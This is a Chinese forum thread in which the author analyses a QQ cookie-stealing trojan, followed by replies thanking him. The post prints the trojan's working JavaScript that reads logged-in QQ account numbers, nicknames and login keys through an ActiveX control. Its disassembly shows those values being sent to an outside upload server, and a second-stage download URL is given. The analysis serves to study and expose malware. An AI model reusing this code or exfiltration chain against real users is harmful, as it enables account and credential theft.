L4Nce 发表于 2014-1-20 15:00

Tenfinder投放的盗qq cookie木马分析

本帖最后由 L4Nce 于 2014-1-20 15:54 编辑

昨天晚上看到Tenfinder被ban了,一看原来是投放木马了。情节十分恶劣,大家引以为戒。
盗取qq cookie使用什么手法我并不清楚,想通过分析这个木马分析出其手段。
由于帖子被删,我找了我的导师chief要了一份样本。
接下来是流程。
首先释放Adobe Flash Player Utility.exe
然后下载hummer.exe(hXXp://bcs.duapp.com/backfire0/hummer.exe)
改名为System.exe
接着System.exe再把System64.exe文件释放出来
System64.exe应该有两层壳可用esp定律脱之。
System64.MD5                     : 48BF006DE2AC8C6835C552BEF4746C38
System64_dump.MD5          : 55387E2684B8D3B96F110D7C8CC9748C
根据图标和代码很容易判断为易语言,一看易语言查看下字符串。
发现几个关键位置。

0040130C   push System64.004684B5                  &system=
00401314   push System64.004684BE                  &address=
0040131E   push System64.004684C8                  &clientkey=
00401328   push System64.004684D4                  &nickname=
00401332   push System64.004684DF                  number=
0040134B   mov eax,System64.004684E7               POST
00401357   mov eax,System64.004684EC               http://api.iobeta.cn/upload.php
http://xui.ptlogin2.qq.com/cgi-bin/qlogin

在字符串处设置好断点
看来是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin。
下个send断点。盯着发送的数据
首先访问了金山下面的一个一个查询ip归属地的网址。

接下来断到了这里

00402870    68 00000000   push 0x0
00402875    68 00000000   push 0x0
0040287A    68 00000000   push 0x0
0040287F    68 00000000   push 0x0
00402884    68 00000000   push 0x0
00402889    68 00000000   push 0x0
0040288E    68 00000000   push 0x0
00402893    68 01874600   push System64.00468701                   ; http://xui.ptlogin2.qq.com/cgi-bin/qlogin
00402898    68 2B874600   push System64.0046872B                   ; AtlAxWin
0040289D    68 00000000   push 0x0
004028A2    B8 04000000   mov eax,0x4
004028A7    E8 240A0000   call System64.004032D0
004028AC    3965 E4         cmp dword ptr ss:,esp

易语言一大特点就是有很深的封装,无法直接发现调用了什么api。
我们   call System64.004032D0进到这个call里面。
0041301C    6A 3A         push 0x3A
0041301E    56            push esi
0041301F    E8 7C770300   call System64.0044A7A0                   ; 载入user32.dll
00413024    8B2D A0724600   mov ebp,dword ptr ds:[<&kernel32.LoadLib>; kernel32.LoadLibraryA
0041302A    83C4 08         add esp,0x8
0041302D    85C0            test eax,eax
00413107    8B4C24 10       mov ecx,dword ptr ss:
0041310B    51            push ecx                                 ; 获取函数CreateWindowExA的地址
0041310C    56            push esi                                 ; user32.77D10000
0041310D    FF15 58734600   call dword ptr ds:[<&kernel32.GetProcAdd>; kernel32.GetProcAddress
00413113    85DB            test ebx,ebx
00416050    50            push eax
00416051    E8 DAFFFFFF   call System64.00416030
00416056    83C4 04         add esp,0x4
00416059- FFE0            jmp eax                                  ; user32.CreateWindowExA调用之

接下在CreateWindowExA出下段看他干了些什么


出现了一个窗体类"URL Moniker Notification Window"

我不太清楚这个窗体类"URL Moniker Notification Window"是干什么的,问了下朋友
说是webbrowser控件 用web界面来做软件的界面,还可以进行各种交互。和浏览器差不多。
我就把他理解为一个浏览器吧。看样子是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin
(清楚的大牛可以告诉我一下)
接下来到了这里

00402A39    68 04000080   push 0x80000004
00402A3E    6A 00         push 0x0
00402A40    68 5C874600   push System64.0046875C                   ; JavaScript
00402A45    68 04000080   push 0x80000004
00402A4A    6A 00         push 0x0
00402A4C    68 67874600   push System64.00468767                   ;js代码
00402A51    68 04000080   push 0x80000004
00402A56    6A 00         push 0x0
00402A58    68 5F8A4600   push System64.00468A5F                   ; execScript
00402A5D    68 30000100   push 0x10030                           ; UNICODE "C:\Documents and Settings\All Users"
00402A62    6A 00         push 0x0
00402A64    FF75 E0         push dword ptr ss:

执行了一段js

document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
我的js水平还停留在会用alert阶段,不过看函数名是用来获取key的。
由于我是在虚拟机中调试的没有QQ cookie可以改一下js代码

00402B1E    83C4 04         add esp,0x4
00402B21    6A 00         push 0x0
00402B23    6A 00         push 0x0
00402B25    6A 00         push 0x0
00402B27    68 04000080   push 0x80000004
00402B2C    6A 00         push 0x0
00402B2E    68 6F8A4600   push System64.00468A6F                   ; innerText
00402B33    68 30000100   push 0x10030                           ; UNICODE "C:\Documents and Settings\All Users"
00402B38    6A 00         push 0x0
00402B3A    FF75 E0         push dword ptr ss:
00402B3D    68 03000000   push 0x3
00402B42    BB D0404000   mov ebx,System64.004040D0
00402B47    E8 72070000   call System64.004032BE
00402B4C    83C4 28         add esp,0x28

此处获得document.body.innerHTML的值

00402B77    6A 00         push 0x0
00402B79    6A 00         push 0x0
00402B7B    68 04000080   push 0x80000004
00402B80    6A 00         push 0x0
00402B82    68 798A4600   push System64.00468A79                   ; ;
00402B87    68 04000080   push 0x80000004
00402B8C    6A 00         push 0x0
00402B8E    8B45 DC         mov eax,dword ptr ss:
00402B91    85C0            test eax,eax
00402B93    75 05         jnz XSystem64.00402B9A
00402B95    B8 B4844600   mov eax,System64.004684B4

00402C45    6A 00         push 0x0
00402C47    6A 00         push 0x0
00402C49    6A 00         push 0x0
00402C4B    68 04000080   push 0x80000004
00402C50    6A 00         push 0x0
00402C52    68 7B8A4600   push System64.00468A7B                   ; |
00402C57    68 04000080   push 0x80000004
00402C5C    6A 00         push 0x0
00402C5E    8B5D E4         mov ebx,dword ptr ss:
00402C61    8B03            mov eax,dword ptr ds:
00402C63    85C0            test eax,eax
00402C65    75 05         jnz XSystem64.00402C6C

分别检测;和 |
看来qq cookie中有这两个符号了
那么我们用这个木马提供的方法来看看qq cookie张什么样。

先访问
http://xui.ptlogin2.qq.com/cgi-bin/qlogin
然后执行js
我改了一下代码
加了一句
alert(GetuinKey());
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g++){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y++){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};




果然爆出了key,三部分构成
qq|昵称|key;
看来木马检测|是为了获取各部分的信息
那么就好办了我改一下js代码,在虚拟机中伪造一个key


00402CFF    6A 04         push 0x4
00402D01    B8 02000000   mov eax,0x2
00402D06    E8 A1050000   call System64.004032AC
00402D0B    83C4 08         add esp,0x8
00402D0E    8B5D E4         mov ebx,dword ptr ss:
00402D11    8B03            mov eax,dword ptr ds:;获得第一部分
00402D13    8945 E0         mov dword ptr ss:,eax
00402D16    8B5D 10         mov ebx,dword ptr ss:
00402D19    8B1B            mov ebx,dword ptr ds:
00402D1B    895D DC         mov dword ptr ss:,ebx

00402DB1    83C4 08         add esp,0x8
00402DB4    8B5D E4         mov ebx,dword ptr ss:
00402DB7    8B03            mov eax,dword ptr ds:;获取第二部分
00402DB9    8945 E0         mov dword ptr ss:,eax
00402DBC    8B5D 08         mov ebx,dword ptr ss:
00402DBF    8B1B            mov ebx,dword ptr ds:
00402DC1    895D DC         mov dword ptr ss:,ebx

00402E57    83C4 08         add esp,0x8
00402E5A    8B5D E4         mov ebx,dword ptr ss:
00402E5D    8B03            mov eax,dword ptr ds:;获取第三部分
00402E5F    8945 E0         mov dword ptr ss:,eax
00402E62    8B5D 18         mov ebx,dword ptr ss:
00402E65    8B1B            mov ebx,dword ptr ds:
00402E67    895D DC         mov dword ptr ss:,ebx

对每一部分都进行检测,要是检测失败eax返回0,不然返回1

0040123A    890B            mov dword ptr ds:,ecx
0040123C    50            push eax
0040123D    3BC8            cmp ecx,eax
0040123F    0F8F 6A010000   jg System64.004013AF;不匹配

0040125E    68 B4844600   push System64.004684B4
00401263    8B5D E4         mov ebx,dword ptr ss:
00401266    FF33            push dword ptr ds:
00401268    E8 97FDFFFF   call System64.00401004
0040126D    83C4 08         add esp,0x8
00401270    83F8 00         cmp eax,0x0
00401273    0F84 3B000000   je System64.004012B4 ;检测qq 号部分是否为空。



00401309    FF75 FC         push dword ptr ss:
0040130C    68 B5844600   push System64.004684B5                                    ; &system=
00401311    FF75 F8         push dword ptr ss:
00401314    68 BE844600   push System64.004684BE                                    ; &address=
00401319    8B5D DC         mov ebx,dword ptr ss:
0040131C    FF33            push dword ptr ds:
0040131E    68 C8844600   push System64.004684C8                                    ; &clientkey=
00401323    8B5D E0         mov ebx,dword ptr ss:
00401326    FF33            push dword ptr ds:
00401328    68 D4844600   push System64.004684D4                                    ; &nickname=
0040132D    8B5D E4         mov ebx,dword ptr ss:
00401330    FF33            push dword ptr ds:
00401332    68 DF844600   push System64.004684DF                                    ; number=
00401337    B9 0A000000   mov ecx,0xA
0040133C    E8 CBFDFFFF   call System64.0040110C
00401341    83C4 28         add esp,0x28
00401344    8945 D8         mov dword ptr ss:,eax
00401347    8D45 D8         lea eax,dword ptr ss:
0040134A    50            push eax
0040134B    B8 E7844600   mov eax,System64.004684E7                                 ; POST
00401350    8945 D4         mov dword ptr ss:,eax
00401353    8D45 D4         lea eax,dword ptr ss:
00401356    50            push eax
00401357    B8 EC844600   mov eax,System64.004684EC                                 ; http://api.iobeta.cn/upload.php
0040135C    8945 D0         mov dword ptr ss:,eax
0040135F    8D45 D0         lea eax,dword ptr ss:
00401362    50            push eax
00401363    E8 5E090000   call System64.00401CC6 ;填写完毕发送


发送完毕后再建立一个bat删除自身

0040309F    83C4 04         add esp,0x4
004030A2    8945 F4         mov dword ptr ss:,eax
004030A5    68 7F8A4600   push System64.00468A7F                                    
004030AA    FF75 F4         push dword ptr ss:
004030AD    68 8D8A4600   push System64.00468A8D                                    
004030B2    FF75 FC         push dword ptr ss:
004030B5    68 A18A4600   push System64.00468AA1                                 
004030BA    FF75 FC         push dword ptr ss:
004030BD    68 AD8A4600   push System64.00468AAD                                    
004030C2    B9 07000000   mov ecx,0x7
004030C7    E8 40E0FFFF   call System64.0040110C


补上获取系统版本地方

004011CC    AD            lods dword ptr ds:
004011CD    AB            stos dword ptr es:
004011CE    AD            lods dword ptr ds:
004011CF    AB            stos dword ptr es:
004011D0    C745 E8 0000000>mov dword ptr ss:,0x0
004011D7    E8 DA020000   call System64.004014B6;获取版本
004011DC    8945 E4         mov dword ptr ss:,eax                           ; System64.00468550
004011DF    8B45 E4         mov eax,dword ptr ss:

窃取过程基本就是这样,分析的比较笼统:一是易语言的封装分析起来很让我头大,二是自己经验方面的问题。
分析过程中不免有所疏忽,还请大家指正。








vitas5566 发表于 2014-3-15 22:33

怎么说呢,都是高手对于我这样的菜鸟有得学的啦
               厉害

txke 发表于 2014-1-20 15:07

分析呢?{:1_904:}

L4Nce 发表于 2014-1-20 15:08

txke 发表于 2014-1-20 15:07 static/image/common/back.gif
分析呢?

论坛这边出bug了,抢救中

Hmily 发表于 2014-1-20 15:19

@L4Nce把发帖框右侧的“禁用链接识别”勾选上,然后JS用代码框加上,再试试,禁用连接识别后最好重新粘贴下内容,不然可能还会出现问题。

淡淡香草味 发表于 2014-1-20 15:20

两段JS有问题,换下格式发

a070458 发表于 2014-1-20 16:12

终于看到了.
这么好的分析
感谢分享

willJ 发表于 2014-1-20 16:15

唔,说得还是很清楚的,加精鼓励,希望赖斯多多发分析文章和大家交流

一曲苍凉断_ 发表于 2014-1-20 16:15

{:301_992:}好屌!!!

826185818 发表于 2014-1-20 16:24

好东西..学习了

xinshen 发表于 2014-1-20 16:29

太厉害了。。。
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: Tenfinder投放的盗qq cookie木马分析